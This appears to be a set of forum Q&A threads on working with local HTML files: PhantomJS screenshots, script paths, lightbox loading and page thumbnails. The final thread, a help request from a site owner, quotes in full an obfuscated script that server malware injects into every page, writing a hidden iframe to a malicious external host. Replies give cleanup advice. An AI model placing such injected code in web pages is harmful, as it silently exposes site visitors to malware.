the task is quite simple, I guess. I would like to produce screenshots (png - files) from local html files.
My 'proof of concept' looks like this...
The files are located on a windows 10 machine in a local folder: c:\temp\
This would be a very basic html file - just to make sure that no sophisticated stuff is disturbing (file called: a.html):
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge" /> <!-- otherwise format might be broken when opening from local source -->
<title>Savills Charts</title>
</head>
<body>
<h1>HalloBallo</h1>
<p>My baby baby, Balla Balla!</p>
</body>
</html>
The script which calls phantomjs was taken from here: http://www.cameronjtinker.com/post/2011/09/26/Take-Screenshot-of-all-HTML-documents-in-a-folder-using-PhantomJS.aspx
During my work I thought my own script was the problem but it doesn't look like it is.
var page = require('webpage').create();
page.open("file:///c:/temp/a.html", function() {
page.render('C:/temp/screenshot.png');
phantom.exit();
});
phantomjs is producing only black .png files.
If I switch the source from something local to something on the web
page.open("file:///c:/temp/a.html"
to
page.open("http://spon.de"
then everything works fine....
I'm lost...
What can I do?
KR,
Martin
Maybe someday someone stumbles as I did.
Therefore I want to clearify. The problem was, that (in contrast to a web browser) phantomjs does not set any colors by default. So in the website given (see example code) phantomjs simply renders black writing on black background.
If you give the body a backgroundcolor then you will see the black font.
So - it's solved.

I am trying to use the CircleType library to curve some text on a html page. I am getting some strange behaviour.
It works OK if I link directly to the circletype.mins.js file on github.
<html>
<body>
<h2 id="demo1">This works OK</h2>
<script type="text/javascript" src="https://rawgit.com/peterhry/CircleType/master/dist/circletype.min.js"></script>
<script>
const circleType = new CircleType(document.getElementById('demo1'));
circleType.radius(150);
</script>
</body>
</html>
If I download the js file and link to it locally I get an invalid or unexpected token error on the script. I have tried downloading the zip, cloning the git repo and running dos2unix, but can't get anything to work.
To make things even weirder, if I change the h2 value to the "Here’s some curved text flowing clockwise.", which is the value used in the online demo, it works both locally and when linking to the external file.
Does anyone have ideas what might be causing this?
Make sure you have <meta charset="UTF-8"> inside <head> on your html file
Extreme beginner here guys so please explain as easily as possible.
I've read multiple variations of this and still am unable to figure it out, any help is greatly appreciated.
What I am wanting is a local environment to be able to learn HTML & javascript, but cannot get the script source inside HTML to correctly reference the .js file sitting in the exact same folder as the .html file. I am testing in a Chrome browser just referencing the .html file on my local machine via file:///C:/JavaScript/Index.html.
2 files(index.html and JS.js), both located locally on C:\Javascript
HTML Code:
<!doctype html>
<head>
<title>Title in browser tab</title>
</head>
<body>
"Text on the page"
<script src="C:\JavaScript\JS.js"></script>
</body>
</html>
-Based on what I read, if they are in the same folder I should be able to just reference <Script src="JS.js"> as there is no folder structure to look through, is that correct?
-I've also tried to absolute path via <script src="file:///C:/JavaScript/JS.js"> and related versions of <Script src="C:\Javascript\JS.js"> that do not work either.
In my JS.js file, I have nothing but alert(); to test functionality, as my reasoning for incorrect sourcing.
If I simply write <script>alert();</script> without referencing any outside source, the alert works as planned.
Thank you in advance!
I'd recommend popping open Chrome's Developer Tools to see where the issue may lie (and, if you're new to development, these are tools that are built into Chrome that will make your life so much easier).
Your assumption about not requiring a path should be correct: if you're referencing another file that lives in the same directory, omitting a full path will cause the browser to assume the path is relative (e.g. "right next to") to the current file:
<!doctype html>
<head>
<title>Title in browser tab</title>
</head>
<body>
"Text on the page"
<script src="JS.js"></script>
</body>
</html>
First of all, i'm kinda beginnner.
I've got similar problem to this:
jquery lightbox does not load images
Lightbox working, but somehow it cannot load the image (on the server).
I need second pair of eyes on it:
head part:
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />
<title>...</title>
<style type="text/css" media="all">
#import "something.css";
</style>
<script src="js/jquery-1.10.2.min.js" type="text/javascript"></script>
<script src="js/lightbox-2.6.min.js" type="text/javascript"></script>
<link href="css/lightbox.css" rel="stylesheet" />
somewhere in the body:
<img class="HoverBorder" alt="something" src="images/photo2.jpg" id="rightImg" />
This works when I'm launching website from my drive. When I'm loading to my server it stucks at loading parts.
I tried to switch body part to direct links on my server, but also doesnt work.
Do You guys need something more?
I just solved this problem after like a week of googling the h*ll out of it.
My problem was identical to yours - when running on my HDD, lightbox loaded images without any problem, but when I uploaded the web to the server and tried to load the image in lightbox from there, I got stuck with the loading animation.
I tried literally every possible solution I found on the internet, but nothing worked. So I sucked it up and started working on another problem involving image loading failure (background image linked via css file) and found out, that the server I use sees a difference between *.jpg and *.JPG, which is a thing my computer does not do.
So, if your file paths are all right, try to play with your files' suffixes. That could help you.
Hope you solve this annoying bug soon.
Take care and good luck.
I am trying to create thumbnail images for several HTML pages, so the user can have an idea of what the HTML looks like before they open the link. I have searched online but haven't found anything useful.
Could anyone here provide some tips? Thanks so much!
I specifically want this to happen on the server side so the client is not required to load the page
You might want to check out this url: http://html2canvas.hertzen.com/.
Using this script, you can convert the page into a canvas on the client side.
Then you can use that as your thumbnail.
You have to use Open Graph tags in you header tag:
<html>
<head>
<meta property="og:site_name" content="Your Website Name Here" />
<meta
property="og:title"
content="Yourtitle goes here, about 90 characters in length."
/>
<meta
property="og:description"
content="description of URL that is about 300 characters in length."
/>
<meta property="og:image" content="YOURIMAGEURL.JPG" />
<meta property="og:type" content="blog" />
<meta property="og:url" content="http://yourURL.com/" />
</head>
<body></body>

http://phantomJs.org offers a free tool to capture HTML locally from a file (if you enable that via a command line parameter and use the file:// URI scheme) or from a website and render it to an image. That is a very well-established very popular tool It's also used by people who write automated tests. There's a wiki page that covers that tool, and similar ones.
It has a cropping option. You could run the output of that through other image manipulation tools to scale it.
As far as getting intelligent previews/thumbnails like Twitter and Facebook do, that I'm not sure of. I know there is an oEmbed protocol that is popular that Twitter and other sites provide, and ways to extract the metadata whereby you could possibly construct your own small HTML file and then render it to an image.
(Note about phantomJs: If you don't get the image quality you want in the rendered image, try raising the quality setting for the image parameter to 100, as well as increasing the page's zoom factor option. I've found zoom factor of 2 produces profoundly better quality than zoom factor 1 - see the API docs regarding zoom).
I couldn't get phantomjs to work for my site for some reason, and in further searching I stumbled on this technique for using an iframe to simulate a thumbnail. Posting this here in case others find it useful.
The server that has my website on it also has a virus on it.
The virus injects the malicious code
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
onto EVERY single page which is served, and it is being preprocessed by Apache or something similar to add it to the end of the file.
I created a test file, with the following code:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
It isn't pretty, but it served its purpose.
When viewing the page in my browser, I get
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
which can be viewed from www.sagamountain.com/testfile.html (warning, this page is infected)
I need to programmatically stop that div and that script from executing, as it is an iframe to a site with a trojan on it. HTML, CSS, or JS, I just need some way to prevent that JS from executing.
It is already display:none so you cannot see it, but how can I prevent the iframe from ever loading at all?
Thanks for the help! The unescape thing resolves to an iframe to http://ncccnnnc.cn/img/index.php which is clearly the source of my troubles. Don't go to that site!
EDIT: This is a followup to https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459
I'm sorry that I can't answer your specific question, but I think that you're looking at this the wrong way. What you need to do is not strip out the virus-inserted html, what you need to do is talk to your web-host/sysadmin and strip out the virus.
Treating the symptoms won't cure the infection. Treating the disease, however, will also treat the symptoms as well as removing the virus.
The file that is in your server is a php file look in the comments here.
Cyber, if you have to wait on the server to be fixed by someone else, I'd say you should try ending your documents with an open <noscript> tag or open HTML comment tag.
You can't use Javascript to stop content that hasn't been rendered from doing so, unless you use document.write and one of the above tags (noscript/comment). Also you can't do anything by placing a script after, as it is already too late (the content is there already).
It is an ugly solution but should prevent your site visitors from experiencing the virus. It also makes your markup invalid, but any browser should be able to parse it and render it as you expect.
Best of luck with the server!
